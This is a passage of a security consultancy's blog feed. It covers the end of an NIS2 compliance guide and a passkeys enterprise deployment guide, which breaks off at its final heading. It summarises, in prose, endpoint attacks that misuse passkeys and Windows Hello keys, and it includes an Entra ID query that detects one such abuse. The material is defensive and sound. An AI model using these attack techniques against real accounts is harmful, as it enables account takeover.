&lt;p&gt;Companies must regularly review their security measures and demonstrate that they are effective. This includes annual internal security audits, external penetration tests every one to two years, regular automated vulnerability scans, and a management review of security key performance indicators (KPIs). The BSI may request all relevant evidence during an audit.&lt;/p&gt;
&lt;h3 id=&quot;7-training-and-basic-cybersecurity-hygiene-security-awareness&quot;&gt;7. Training and Basic Cybersecurity Hygiene (Security Awareness)&lt;/h3&gt;
&lt;p&gt;Security awareness training for all employees, as well as specialized training for the IT department and management, is mandatory. Specifically: annual security awareness training for all employees, regular phishing simulations, orientation for new employees, and continuing education for the CISO and IT management on the NIS2 requirements. Participation must be verifiably documented.&lt;/p&gt;
&lt;p&gt;For executive management, Section 38 of the BSIG expressly stipulates that they must verifiably participate in &lt;a href=&quot;https://a7.de/en/services/training/&quot;&gt;information security training&lt;/a&gt;.&lt;/p&gt;
&lt;h3 id=&quot;8-cryptography-and-encryption&quot;&gt;8. Cryptography and Encryption&lt;/h3&gt;
&lt;p&gt;Sensitive data must be encrypted both at rest and in transit. Minimum standards: TLS 1.2, TLS 1.3 recommended for all web communication; AES-256 for hard drives (BitLocker/LUKS/FileVault), databases (TDE), and backups; VPN connections with AES-256-GCM and IKEv2/IPsec. Outdated protocols (TLS 1.0, TLS 1.1, SSL 3.0) and insecure cipher suites (RC4, 3DES) must be disabled. A documented cryptography policy with key management processes (key rotation, HSM, or KMS) is required.&lt;/p&gt;
&lt;h3 id=&quot;9-personnel-security-access-control-and-asset-management&quot;&gt;9. Personnel Security, Access Control, and Asset Management&lt;/h3&gt;
&lt;p&gt;Identity &amp;amp; Access Management based on the least privilege principle, Privileged Access Management (PAM) for privileged accounts, and regular access reviews (at least quarterly) are mandatory. A complete IT asset inventory (hardware, software, cloud resources) with defined asset owners must be maintained. The offboarding process must ensure that all access is revoked on the last day of employment. Background checks must be conducted for employees with privileged access (to the extent legally possible).&lt;/p&gt;
&lt;h3 id=&quot;10-multi-factor-authentication-mfa-and-communication-security&quot;&gt;10. Multi-Factor Authentication (MFA) and Communication Security&lt;/h3&gt;
&lt;p&gt;Art. 21(2)(j) is an explicit requirement: MFA must be enabled at a minimum for all remote access (VPN, RDP, web portal), cloud services (Microsoft 365, AWS, Azure), privileged accounts (admins, root access), critical applications (ERP, SCADA, production systems), and remote maintenance access.&lt;/p&gt;
&lt;p&gt;NIS2 recommends phishing-resistant MFA, particularly FIDO2/passkeys for privileged accounts. The security hierarchy of MFA methods ranges from SMS OTP (weak, but better than no MFA) to TOTP apps (good standard) and push notifications with number matching, up to hardware tokens (Yubikey) and FIDO2/passkeys (best option, phishing-resistant, and domain-bound).&lt;/p&gt;
&lt;p&gt;In addition, secure emergency communication channels must be provided - in the event of a ransomware attack, the email system may be encrypted, which is why out-of-band communication (Signal group, personal emails) must be set up in advance.&lt;/p&gt;
&lt;h2 id=&quot;reporting-requirements-deadlines-and-process-art-23-nis2&quot;&gt;Reporting Requirements: Deadlines and Process (Art. 23 NIS2)&lt;/h2&gt;
&lt;p&gt;NIS2 contains one of the strictest deadlines in European IT law. In the event of significant security incidents, affected companies are required to follow this three-step plan:&lt;/p&gt;
&lt;h3 id=&quot;what-constitutes-a-significant-incident&quot;&gt;What constitutes a &quot;significant incident&quot;?&lt;/h3&gt;
&lt;p&gt;An incident is considered significant if it meets at least one of the following criteria: significant disruption of operations (actual or imminent), significant financial losses expected (including recovery costs, data loss, contractual penalties), or harm to third parties (especially if customer data is affected or partner systems are compromised).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Examples that likely must be reported:&lt;/strong&gt; ransomware attack on production systems, data leak involving customer data (starting at approximately 1,000 records), DDoS attack that halts critical services for more than two hours, compromise of a production environment, supplier compromise affecting one’s own systems.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Examples that likely do not need to be reported:&lt;/strong&gt; a single unsuccessful phishing attempt, external port scans, malware on a single workstation without propagation.&lt;/p&gt;
&lt;p&gt;When in doubt, report it. The BSI does not impose penalties for unnecessary early warnings.&lt;/p&gt;
&lt;h3 id=&quot;the-reporting-timeline&quot;&gt;The Reporting Timeline&lt;/h3&gt;
&lt;div class=&quot;table-scroll&quot;&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Deadline&lt;/th&gt;&lt;th&gt;Content&lt;/th&gt;&lt;th&gt;Recipient&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;24 hours&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Early warning: type of incident, affected systems, initial assessment of whether the incident is still active&lt;/td&gt;&lt;td&gt;BSI (&lt;a href=&quot;mailto:meldungen@bsi.bund.de&quot;&gt;meldungen@bsi.bund.de&lt;/a&gt; or BSI Portal)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;72 hours&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Follow-up report: complete description, severity and impact, probable cause, corrective measures taken&lt;/td&gt;&lt;td&gt;BSI&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;1 month&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;Final report: complete root cause analysis, measures taken, preventive measures&lt;/td&gt;&lt;td&gt;BSI&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;h3 id=&quot;parallel-reporting-obligations&quot;&gt;Parallel Reporting Obligations&lt;/h3&gt;
&lt;p&gt;If personal data is affected, the GDPR reporting obligation also applies: the competent data protection authority must also be notified within 72 hours. Cyber insurance providers must be informed immediately - delayed reporting may result in the denial of insurance benefits. Banks and financial service providers must additionally notify BaFin (BAIT/VAIT/DORA), in some cases with shorter deadlines.&lt;/p&gt;
&lt;h3 id=&quot;preparing-the-reporting-process&quot;&gt;Preparing the Reporting Process&lt;/h3&gt;
&lt;p&gt;The following preparatory measures must be completed before an incident occurs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Set up a BSI reporting portal account (portal.bsi.bund.de - registration takes several days, so set it up now)&lt;/li&gt;
&lt;li&gt;CISO or person responsible for reporting appointed (including a deputy for vacation/sick leave)&lt;/li&gt;
&lt;li&gt;Contact list for crisis communication created: BSI, data protection authority, cyber insurance provider, IT lawyer, press spokesperson, CEO&lt;/li&gt;
&lt;li&gt;Reporting templates created: template for 24-hour early warning, 72-hour follow-up report, and GDPR report&lt;/li&gt;
&lt;li&gt;Incident log process established: document everything with UTC timestamps&lt;/li&gt;
&lt;li&gt;Out-of-band communication channel provided&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;implementation-roadmap-from-gap-analysis-to-nis2-compliance&quot;&gt;Implementation Roadmap: From Gap Analysis to NIS2 Compliance&lt;/h2&gt;
&lt;h3 id=&quot;step-1-determine-and-classify-impact&quot;&gt;Step 1: Determine and classify impact&lt;/h3&gt;
&lt;p&gt;Use the sector tables and thresholds to check whether your company is affected, and classify yourself as a significant or important entity. This step determines the scope of oversight and potential fines.&lt;/p&gt;
&lt;h3 id=&quot;step-2-conduct-a-gap-analysis&quot;&gt;Step 2: Conduct a gap analysis&lt;/h3&gt;
&lt;p&gt;A thorough gap analysis reveals which of the ten Article 21 measures have already been implemented and where improvements are needed. Typical gaps for companies affected for the first time include: lack of defined roles for information security, undocumented processes, unclear reporting channels, no structured supplier management, and lack of MFA for remote access.&lt;/p&gt;
&lt;h3 id=&quot;step-3-define-responsibilities-and-role-model&quot;&gt;Step 3: Define Responsibilities and Role Model&lt;/h3&gt;
&lt;p&gt;NIS2 requires clearly defined roles for technical, organizational, and strategic tasks. Often, there is no central body to coordinate implementation. Companies should clearly define roles such as Information Security Officers, Incident Managers, and Risk Management Officers and grant them sufficient authority.&lt;/p&gt;
&lt;h3 id=&quot;step-4-establish-or-adapt-an-isms&quot;&gt;Step 4: Establish or Adapt an ISMS&lt;/h3&gt;
&lt;p&gt;An Information Security Management System (ISMS) provides the structured foundation. NIS2 is heavily based on ISO 27001 - companies with existing certification have a clear advantage but must fulfill additional obligations regarding reporting channels, supplier assessments, and management responsibility. Companies without an existing structure should start with ISO 27001 or BSI IT-Grundschutz.&lt;/p&gt;
&lt;h3 id=&quot;step-5-implement-technical-and-organizational-measures&quot;&gt;Step 5: Implement technical and organizational measures&lt;/h3&gt;
&lt;p&gt;MFA for all remote access and privileged accounts, network segmentation (VLANs, DMZ), SIEM/EDR monitoring, encryption at rest and in transit, a patch management process with SLAs, vulnerability scans, and the incident response plan are the priority technical measures. At the same time, security policies must be adopted, training conducted, and supplier contracts amended.&lt;/p&gt;
&lt;h3 id=&quot;step-6-complete-bsi-registration&quot;&gt;Step 6: Complete BSI registration&lt;/h3&gt;
&lt;p&gt;Registration with the BSI is done via the online portal. It must be completed no later than three months after determining that the organization is affected.&lt;/p&gt;
&lt;h3 id=&quot;step-7-establish-a-continuous-improvement-process&quot;&gt;Step 7: Establish a continuous improvement process&lt;/h3&gt;
&lt;p&gt;NIS2 views cybersecurity as an ongoing task. Regular audits, penetration tests, training, and management reviews ensure that the security level is maintained and improved over time.&lt;/p&gt;
&lt;h2 id=&quot;consequences-of-non-compliance&quot;&gt;Consequences of Non-Compliance&lt;/h2&gt;
&lt;h3 id=&quot;fines&quot;&gt;Fines&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Critical facilities: up to &lt;strong&gt;10 million EUR&lt;/strong&gt; or &lt;strong&gt;2% of global annual turnover&lt;/strong&gt; (whichever is higher)&lt;/li&gt;
&lt;li&gt;Important entities: up to &lt;strong&gt;€7 million&lt;/strong&gt; or &lt;strong&gt;1.4%&lt;/strong&gt; of global annual turnover&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Even inadequate documentation of security measures can trigger a fine, even if no security incident has yet occurred.&lt;/p&gt;
&lt;h3 id=&quot;regulatory-measures&quot;&gt;Regulatory Measures&lt;/h3&gt;
&lt;p&gt;Regulatory authorities are granted extensive oversight powers: unannounced inspections (for critical entities), ordering of security measures, audit reports by external auditors, prohibition of activities in extreme cases, and public disclosure of violations.&lt;/p&gt;
&lt;h3 id=&quot;personal-liability-of-management&quot;&gt;Personal Liability of Management&lt;/h3&gt;
&lt;p&gt;Executives may be held personally liable if cybersecurity is not actively monitored and documented. In extreme cases, a temporary ban on holding a management position is possible.&lt;/p&gt;
&lt;h3 id=&quot;civil-liability&quot;&gt;Civil Liability&lt;/h3&gt;
&lt;p&gt;Injured third parties may claim damages if a breach of NIS2 obligations is proven. In addition to legal consequences, there is significant reputational damage, operational downtime, and data loss - the financial consequences of an inadequately handled incident generally far exceed the costs of proper implementation.&lt;/p&gt;
&lt;h2 id=&quot;nis2-and-bsi-it-grundschutz---how-do-they-relate-to-each-other&quot;&gt;NIS2 and BSI IT-Grundschutz - how do they relate to each other?&lt;/h2&gt;
&lt;p&gt;NIS2 does not prescribe how the ten measures under Article 21 are to be implemented in practice. Recognized security standards such as ISO 27001 and BSI IT-Grundschutz are accepted as suitable frameworks.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ISO 27001:&lt;/strong&gt; A well-implemented ISMS according to ISO 27001 already covers most NIS2 requirements. Gaps typically arise in NIS2-specific reporting processes, supply chain security, and the explicit MFA requirement. A gap analysis identifies the additional need for adaptation.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;BSI IT-Grundschutz:&lt;/strong&gt; Directly compatible with NIS2 - companies that have implemented IT-Grundschutz are largely NIS2-ready. Additions are also required for reporting processes, supply chain security, and management liability.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Former KRITIS operators (IT-SiG 2.0):&lt;/strong&gt; Already largely compliant. NIS2 adds: supply chain security, MFA requirement, personal management liability.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;No prior certification:&lt;/strong&gt; ISO 27001 is the internationally recognized starting point for NIS2 compliance. Those without an ISMS should start early, as establishing fundamental structures takes time.&lt;/p&gt;
&lt;h2 id=&quot;how-aware7-supports-nis2&quot;&gt;How AWARE7 supports NIS2&lt;/h2&gt;
&lt;p&gt;AWARE7 guides companies every step of the way toward NIS2 compliance:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NIS2 Gap Analysis:&lt;/strong&gt; In a structured workshop, we analyze your current status against all ten Article 21 requirements and create a prioritized action plan with realistic implementation deadlines. You can see at a glance what has already been met and where urgent action is needed.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;ISMS Implementation and ISO 27001 Support:&lt;/strong&gt; We guide you through the implementation of your information security management system - from the initial risk analysis to certification readiness. An ISO 27001-compliant ISMS is the most efficient path to NIS2 compliance.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Technical Implementation:&lt;/strong&gt; From network segmentation and MFA implementation to SIEM deployment, we support the technical measures required under Article 21 with practical experience gained from hundreds of client projects.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NIS2 Training for Executives:&lt;/strong&gt; NIS2 mandates verifiable training for management (§ 38 BSIG). Our compact one-day seminar covers all legal requirements and protects against personal liability.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Incident Response Preparation:&lt;/strong&gt; We create incident response plans, define reporting processes for the 24-hour early warning to the BSI, and simulate emergency scenarios through tabletop exercises.&lt;/p&gt;
&lt;p&gt;Learn more about our services: &lt;a href=&quot;https://a7.de/en/topics/nis2/&quot;&gt;NIS2 Consulting and Gap Analysis&lt;/a&gt; and &lt;a href=&quot;https://a7.de/en/services/security-consulting/isms-iso-27001/&quot;&gt;ISMS and ISO 27001 Consulting&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;frequently-asked-questions-about-nis2-faq&quot;&gt;Frequently Asked Questions about NIS2 (FAQ)&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Does NIS2 apply to my company even if we have fewer than 50 employees?&lt;/strong&gt;
In general, companies with fewer than 50 employees and less than EUR 10 million in revenue are exempt from NIS2. Exceptions apply to qualified trust service providers, TLD registrars, DNS operators, and companies that are considered the sole provider of an essential service in an EU member state. Additionally, your company may be indirectly affected if your customers are subject to NIS2 and impose security requirements on their supply chain.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What happens if I miss the 24-hour deadline for the early warning?&lt;/strong&gt;
Failing to meet the 24-hour reporting obligation constitutes a separate breach of duty and may result in a fine - regardless of how serious the actual incident was. It is therefore advisable to set up the reporting process and all contact details (BSI reporting portal account, CISO, deputy) in advance and have reporting templates ready.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Is ISO 27001 certification sufficient for NIS2 compliance?&lt;/strong&gt;
An ISO 27001-certified ISMS covers the majority of NIS2 requirements. Additionally, NIS2-specific obligations must be addressed: the reporting processes to the BSI (24h/72h/30 days), explicit supply chain security evidence for suppliers, and the MFA requirement under Art. 21 j. A gap analysis will reveal the specific additional effort required.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Do we need to register with the BSI?&lt;/strong&gt;
Yes. Both essential and important facilities must register with the BSI no later than three months after determining that they are affected. Registration is done via bsi.bund.de.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What is the difference between essential and important facilities in practice?&lt;/strong&gt;
Essential facilities are subject to proactive supervision - the BSI can conduct inspections without cause and order audits. Important entities are subject to reactive supervision, i.e., only in cases of concrete suspicion or following a report. The ranges of fines also differ: up to 10 million EUR (or 2% of turnover) for essential entities, up to 7 million EUR (or 1.4% of turnover) for important entities.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Does NIS2 apply if we don’t operate anything “critical” ourselves, but supply critical companies?&lt;/strong&gt;
NIS2 requires companies to assess the security of their own supply chain and impose contractual requirements on their suppliers. If, as a supplier, you have access to production systems or sensitive data of a company subject to NIS2, your customers will require security evidence (e.g., ISO 27001 certification, security questionnaires, audit rights) from you - even if your own company is not directly subject to NIS2.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;Unsure whether and how NIS2 affects you?&lt;/strong&gt; In a structured NIS2 gap analysis, we assess your current status against all requirements and work with you to develop a prioritized action plan.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://a7.de/en/topics/nis2/&quot;&gt;Request NIS2 Consulting&lt;/a&gt; | &lt;a href=&quot;https://a7.de/en/services/security-consulting/isms-iso-27001/&quot;&gt;ISMS and ISO 27001 Consulting&lt;/a&gt;&lt;/p&gt;</content:encoded><category>Information Security</category><author>kontakt@a7.de (Chris Wojzechowski)</author></item><item><title>Implementing Passkeys in the Enterprise: A Practical Guide</title><link>https://a7.de/en/blog/passkeys-in-the-enterprise-practical-guide/</link><guid isPermaLink="true">https://a7.de/en/blog/passkeys-in-the-enterprise-practical-guide/</guid><description>Implement passkeys with Microsoft, Google and Apple, harden endpoints and meet Entra ID deadlines. What the research from August 2026 changes.</description><pubDate>Wed, 04 Mar 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Passkeys are phishing-resistant and cannot be stolen from a server database. With Apple, Google and Microsoft now providing the infrastructure in their ecosystems, enterprise deployment is a realistic prospect. New research from August 2026 shifts what matters in a rollout: not the choice of passkey type, but endpoint security.&lt;/p&gt;
&lt;h2 id=&quot;what-are-passkeys-and-how-do-they-work&quot;&gt;What are passkeys and how do they work?&lt;/h2&gt;
&lt;p&gt;A passkey is a cryptographic key pair instead of a password. During registration, the device generates a private and a public key. The private key remains stored locally, whilst the public key is held by the service. Each signature is bound to the exact domain of the service, which renders any fake login page inherently ineffective.&lt;/p&gt;
&lt;p&gt;A server attack therefore only captures public keys, which are worthless on their own. Even credential stuffing comes to nothing, as there is no reusable secret.&lt;/p&gt;
&lt;p&gt;With device-bound passkeys, the private key remains on the hardware, for example in the TPM or on a FIDO2 token. With synchronised passkeys, it is stored in encrypted form in the provider’s cloud wallet and is available on other devices.&lt;/p&gt;
&lt;div class=&quot;table-scroll&quot;&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Feature&lt;/th&gt;&lt;th&gt;Device-bound&lt;/th&gt;&lt;th&gt;Synchronised&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Storage location&lt;/td&gt;&lt;td&gt;TPM or FIDO2 token&lt;/td&gt;&lt;td&gt;Provider’s cloud wallet&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Recovery&lt;/td&gt;&lt;td&gt;Re-registration required&lt;/td&gt;&lt;td&gt;Synchronisation via the account&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Phishing protection&lt;/td&gt;&lt;td&gt;Intact&lt;/td&gt;&lt;td&gt;Intact&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vulnerable following endpoint compromise&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;Earlier versions of this post recommended synchronised passkeys for widespread roll-out and device-bound passkeys only for privileged accounts. This distinction is no longer valid.&lt;/p&gt;
&lt;blockquote class=&quot;callout-key&quot;&gt;
&lt;p&gt;Switching between synchronised and device-bound passkeys does not eliminate the attack surface. Both variants are vulnerable as soon as malware is running in the user’s context.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;why-are-traditional-mfa-methods-insufficient&quot;&gt;Why are traditional MFA methods insufficient?&lt;/h2&gt;
&lt;p&gt;SMS codes and time-based one-time passwords have a structural weakness: they are transferable secrets. A fake login page can relay the entered code to the genuine service in real time before it expires, compromising the account whilst the user believes they are on the correct page.&lt;/p&gt;
&lt;p&gt;Push-based MFA has another vulnerability. Push requests have no cryptographic link to the specific login session. The authorisation applies to the attacker’s session, not to an authentic connection initiated by the user.&lt;/p&gt;
&lt;p&gt;A passkey signature is bound to the exact domain of the service and valid for that session only. An attacker who intercepts or forwards the request holds a one-off, domain-bound token, not a reusable secret.&lt;/p&gt;
&lt;h2 id=&quot;how-secure-are-passkeys&quot;&gt;How secure are passkeys?&lt;/h2&gt;
&lt;p&gt;Passkeys are resistant to phishing; the cryptography behind them remains intact. However, three research papers from August 2026 show that both types of passkey are vulnerable as soon as malware is running on the endpoint.&lt;/p&gt;
&lt;p&gt;On 3 August 2026, Unit 42 from Palo Alto Networks described the Pass-ta-key attack family targeting the Google Password Manager in Chrome. Malware without elevated privileges signs a WebAuthn assertion via the Windows CNG interface without a PIN or biometric prompt appearing. The ‘Golden’ variant of Pass-ta-key reads the Security Domain Secret from the Chrome process memory, uses it to decrypt all synchronised passkeys and exports them in a transferable format.&lt;/p&gt;
&lt;p&gt;A further variant from Unit 42: ‘Silver’ Pass-ta-key spoofs a biometric unlock against the Cloud Authenticator without using the victim’s device during the login session. The attacker logs in from their own environment; the victim’s device does not need to be online. Unlike the basic variant, access gained this way is reusable; elevated privileges are not required here either.&lt;/p&gt;
&lt;p&gt;On 5 August 2026, Dirk-jan Mollema demonstrated that a Windows Hello for Business key can be used from within a logged-in session. The call via &lt;code&gt;Ncrypt.dll&lt;/code&gt; and the Passport Key Storage Provider requires neither a PIN nor biometrics, but instead relies on cached data. The login is successful even in an incognito window without SSO support, and without a device enrolled in Entra ID. From a compromised session, a device can thus be registered and a Primary Refresh Token requested.&lt;/p&gt;
&lt;p&gt;On the same day at Black Hat USA, SpecterOps presented the Pass-the-Passkey chain. Windows stored FIDO2 signatures in plain text, where authenticated unprivileged users could read them, even remotely. It is not the private key itself that is extracted, but a signature that has already been generated.&lt;/p&gt;
&lt;blockquote class=&quot;callout-warning&quot;&gt;
&lt;p&gt;CVE-2026-34348 affects the Windows Event Logging Service and is classified as an information disclosure vulnerability with a CVSS Base score of 6.5. An update is available and must be applied immediately to all Windows clients and servers.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;three-recommended-actions&quot;&gt;Three Recommended Actions&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Apply the CVE-2026-34348 update to all Windows systems. This affects environments with Windows Hello for Business as well as those with FIDO2 hardware keys.&lt;/li&gt;
&lt;li&gt;Monitor logins via Windows Hello for Business without a registered device ID. The following query in Entra ID corresponds to the pattern demonstrated by Mollema.&lt;/li&gt;
&lt;li&gt;Set &lt;code&gt;userVerification = required&lt;/code&gt; in custom web applications and validate the UV flag server-side. Setting the parameter alone is not sufficient: eBay had set it but remained vulnerable because the response was not validated.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;SigninLogs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; AuthenticationDetails &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;has&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ‘&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;authenticationMethod&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Windows Hello for Business&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;’&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; DeviceDetail.deviceId == &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;deadlines-in-microsoft-entra-id&quot;&gt;Deadlines in Microsoft Entra ID&lt;/h2&gt;
&lt;div class=&quot;table-scroll&quot;&gt;
















&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Date&lt;/th&gt;&lt;th&gt;What happens&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1 September 2026&lt;/td&gt;&lt;td&gt;Users with SMS or voice MFA will be automatically enabled for passkeys and prompted to register when logging in&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;1 February 2027&lt;/td&gt;&lt;td&gt;Microsoft will discontinue its own SMS and voice delivery services. Anyone who still requires these methods can integrate their own telecoms provider via the Microsoft Security Store&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;
&lt;p&gt;For organisations whose users have only SMS or voice authentication methods configured after 1 February 2027, passkey registration will be blocked at login. Microsoft does not provide an opt-out option.&lt;/p&gt;
&lt;h2 id=&quot;setting-up-passkeys&quot;&gt;Setting Up Passkeys&lt;/h2&gt;
&lt;h3 id=&quot;setting-up-passkeys-with-microsoft&quot;&gt;Setting up passkeys with Microsoft&lt;/h3&gt;
&lt;p&gt;Activation takes place in Entra ID under Security &amp;gt; Authentication Methods &amp;gt; Microsoft Authenticator using the Passkey (FIDO2) function. Self-registration is enabled in the same dialogue box. For privileged accounts, a FIDO2 token is also recommended.&lt;/p&gt;
&lt;p&gt;A Temporary Access Pass with limited validity is suitable for initial access. Users log in with it once and then register their own passkey.&lt;/p&gt;
&lt;pre class=&quot;astro-code github-light&quot; style=&quot;background-color:#fff;color:#24292e;overflow-x:auto&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;New-MgUserAuthenticationTemporaryAccessPassMethod&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; `&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  -&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;UserId &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;user@company.com&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; `&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  -&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;LifetimeInMinutes &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;60&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; `&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  -&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;IsUsableOnce &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;$true&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A Conditional Access policy using the Authentication Strength setting for phishing-resistant methods excludes SMS codes and time-based one-time passwords. Windows Hello for Business covers the native registration process on Windows devices and works with a PIN or biometrics.&lt;/p&gt;
&lt;h3 id=&quot;setting-up-passkeys-with-google&quot;&gt;Setting up passkeys with Google&lt;/h3&gt;
&lt;p&gt;Activation takes place in the Google Admin Console under ‘Security’, ‘Authentication’, ‘Passwordless sign-in’. The option for passwordless sign-in via passkey can be enabled there. The enforce-passkeys toggle should only be set once the roll-out has been fully completed across the organisation.&lt;/p&gt;
&lt;p&gt;Users set up their passkeys via myaccount.google.com under ‘Security’. On Android devices, the Google Password Manager handles this task. For signing in via a Windows PC without a stored passkey, Windows Hello or a FIDO2 hardware token is available.&lt;/p&gt;
&lt;p&gt;For cross-device sign-ins, the browser displays a QR code; the smartphone scans it and performs a Bluetooth proximity check, then unlocks the passkey for the sign-in session on the PC. This is called cross-device authentication and requires no shared account between the devices.&lt;/p&gt;
&lt;h3 id=&quot;passkeys-on-apple-devices&quot;&gt;Passkeys on Apple devices&lt;/h3&gt;
&lt;p&gt;With iCloud Keychain enabled, passkeys are available on all Apple devices linked to the same account; they are managed via the Passwords app. A new device is authorised via an already set-up device or the old device code, after which the Keychain updates automatically.&lt;/p&gt;
&lt;p&gt;For businesses, this is the boundary case: the Keychain is linked to employees’ personal accounts, not to the organisation. Where employees bring personal Apple devices, the passkey therefore falls outside the organisation’s control. For privileged accounts, a FIDO2 token is therefore the more robust choice.&lt;/p&gt;
&lt;h2 id=&quot;what-are-the-disadvantages-of-passkeys&quot;&gt;What are the disadvantages of passkeys?&lt;/h2&gt;
&lt;p&gt;Passkeys have three practical limitations: device loss requires re-registration, as the private key is non-transferable; applications without WebAuthn support are integrated via single sign-on (SSO) using SAML or OpenID Connect; and staff without a biometric device need a hardware token or PIN.&lt;/p&gt;
&lt;p&gt;If a device is lost, a second registered method can help. A sensible approach is to combine a smartphone with a hardware token, supplemented by an administrative reset procedure.&lt;/p&gt;
&lt;p&gt;The identity provider handles the passkey sign-in; the legacy application receives its token via SAML or OpenID Connect.&lt;/p&gt;
&lt;p&gt;Employees without a biometric device use a hardware token or a PIN via Windows Hello. On personal devices, a passkey remains the stronger choice compared to a password with a time-based one-time password.&lt;/p&gt;
&lt;h2 id=&quot;assessment&quot;&gt;Assessment&lt;/h2&gt;
